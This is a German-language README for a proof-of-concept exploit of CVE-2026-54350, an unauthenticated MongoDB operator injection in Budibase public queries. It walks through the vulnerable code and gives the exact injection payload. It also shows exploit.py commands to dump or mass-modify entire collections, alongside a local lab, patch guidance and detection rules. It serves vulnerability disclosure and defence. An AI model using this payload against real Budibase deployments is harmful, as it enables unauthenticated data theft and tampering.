
PoC für CVE-2026-54350 — Budibase nicht authentifizierte NoSQL-Operator-Injektion (CVSS 10.0). Lesen/Massenschreiben jeglicher Dokumentensammlungen über eine ÖFFENTLICHE Abfrage.
Nicht authentifizierte JSON/NoSQL-Operator-Injection in Budibase. Jeder anonyme Besucher einer veröffentlichten Budibase-App, die eine ÖFFENTLICHE Abfrage bereitstellt, die auf einer Dokumentdatenquelle basiert (MongoDB, CouchDB, Elasticsearch, DynamoDB-PartiQL oder REST mit einem JSON-Textkörper), kann jedes Dokument der zugrunde liegenden Sammlung lesen und, falls eine öffentliche Schreibabfrage existiert, jedes Dokument ändern — mit einer einzigen nicht authentifizierten HTTP-Anfrage.
| CVE | CVE-2026-54350 |
| Advisory | GHSA-8qv3-p479-cj62 |
| CVSS 3.1 | 10.0 — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N |
| CWE | CWE-943 (Improper Neutralization of Special Elements in a Data Query), CWE-89 |
| Auth | None (unauthenticated) |
| Betroffen | Budibase <= 3.39.0 (Hersteller-Hinweisbereich) |
| Behoben | 3.39.12 laut NVD; die injizierten Anführungszeichen werden ab 3.39.1 neutralisiert, und der explizite Fix (processJsonStringSync) kommt in 3.39.9 |
| Befund | BESTÄTIGT — Ende-zu-Ende auf 3.39.0 reproduziert |
Bei der Ausführung einer Abfrage reichert Budibase die Benutzerparameter mit Handlebars in den rohen JSON-Textkörper der Abfrage ein und parst dann das Ergebnis mit JSON.parse:
enrichContext() packages/server/src/sdk/workspace/queries/queries.ts
enrichedQuery.json = processStringSync('{"name":"{{ name }}"}', { name: <user> }, { noEscaping: true })
enrichedQuery.json = JSON.parse(enrichedQuery.json)
Bei betroffenen Builds wird der Parameter ohne JSON-Escaping interpoliert, sodass ein Wert, der ein " enthält, die beabsichtigte Zeichenfolge schließt und Geschwisterschlüssel in das geparste Objekt injiziert. Der einzige Eingabefilter, validateQueryInputs() (api/controllers/query/index.ts), lehnt nur Handlebars-Markierungen ({{, }}) ab — er berührt ", \, } oder $ nicht.
Für eine MongoDB find-Abfrage wird das geparste Objekt direkt an collection.find() übergeben (integrations/mongodb.ts). Ein doppelter name-Schlüssel, dessen Wert ein Operatorobjekt ist, gewinnt die JSON.parse-Zusammenführung, verwandelt eine Zeichenfolgengleichheit in {$exists: true} und gibt die gesamte Sammlung zurück. Dasselbe Vorgehen gegen eine updateMany-Abfrage erweitert den Filter auf jedes Dokument.
Die Zugriffskontrolle wird umgangen, weil authorized() (middleware/authorized.ts:141) mit return next() kurzschließt, wenn die Ressourcenrolle der Abfrage PUBLIC ist, und dabei sowohl Sitzungsauthentifizierung als auch CSRF überspringt. Der x-budibase-app-id-Header, der benötigt wird, um die Abfrage zu erreichen, ist öffentlich — er ist Teil jeder URL einer veröffentlichten App.
Siehe ANALYSIS.md für die vollständige codebasierte Durchsicht und die Untersuchung der Versionsgrenzen.
Vorlage des Abfragetextkörpers (wie im Builder konfiguriert):
{"name":"{{ name }}"}
Injizierter Wert für den Parameter name:
zzz","name":{"$exists":true},"$comment":"cve-2026-54350
Nach Interpolation und JSON.parse (Doppelschlüssel-Zusammenführung, letzter gewinnt):
{ "name": { "$exists": true }, "$comment": "cve-2026-54350" }
$comment ist ein inerter MongoDB-Meta-Operator, der das abschließende "} der Vorlage absorbiert, sodass der gesamte Textkörper gültiges JSON bleibt.
exploit.py — nur Python 3 Standardbibliothek, keine Abhängigkeiten.
# Die gesamte Sammlung über eine ÖFFENTLICHE Leseabfrage (find) auslesen
python3 exploit.py --url http://target --app-id app_<published> \
--query-id query_<...> --mode read
# Jedes Dokument über eine ÖFFENTLICHE updateMany-Abfrage ändern
python3 exploit.py --url http://target --app-id app_<published> \
--query-id query_<...> --mode write
--app-id und --query-id sind öffentliche Werte, die im eigenen API-Verkehr der veröffentlichten App beobachtet werden. --field überschreibt den JSON-Schlüssel, an den der Parameter gebunden ist (Standardwert ist --param).
Erfordert Docker. Dieses Labor verwendet --network host (kein Bridge-Netzwerk vorausgesetzt) und mongo:4.4 (der Host hat kein AVX; MongoDB 5.0+ benötigt es).
bash lab/setup.sh
# gibt PROD_APP_ID / READ_QUERY / UPDATE_QUERY aus, dann:
python3 exploit.py --url http://127.0.0.1 --app-id <PROD_APP_ID> \
--query-id <READ_QUERY> --mode read
lab/provision.py verwendet nur legitime Builder-APIs — es schwächt keine Standardeinstellungen. Das Markieren der Zugriffsrolle einer Abfrage als PUBLIC ist eine erstklassige Builder-Funktion (veröffentlichte Apps legen Daten genau über diesen Mechanismus offen). Vollständiger aufgezeichneter Durchlauf in EVIDENCE.txt.
Die NVD listet den betroffenen Bereich als < 3.39.12 auf. Empirisch ist der Bare-Quote-Vektor nur auf <= 3.39.0 ausnutzbar, was genau der Bereich ist, den der Hersteller in seiner GHSA-Hinweis angibt. Ab 3.39.1 maskiert die Templating-Ebene bereits die injizierten Anführungszeichen (bestätigt: dieselbe Anfrage gegen 3.39.8 wird neutralisiert), und 3.39.9 führt den expliziten Fix processJsonStringSync ein. Dieser PoC zielt daher auf 3.39.0 ab, die neueste Version innerhalb des betroffenen Bereichs des Herstellers.
>= 3.39.12 oder mindestens >= 3.39.9, wo processJsonStringSync interpolierte Parameter JSON-escapet).PUBLIC ist; schränken Sie sie nach Möglichkeit auf authentifizierte Rollen ein.Achten Sie auf POST /api/v2/queries/<id>-Anfragen von nicht authentifizierten Sitzungen, deren parameters-Werte ein " gefolgt von einem $-präfigierten MongoDB-Operator ($exists, $ne, $gt, $where, $regex, ...) oder einen doppelten JSON-Schlüssel enthalten. Aktivieren Sie auf MongoDB die Profilerstellung und warnen Sie, wenn ein Abfrageparameter, der normalerweise eine Zeichenfolge ist, als Objekt ankommt.
Forschung und PoC von Caio Fabrício (@BiiTts).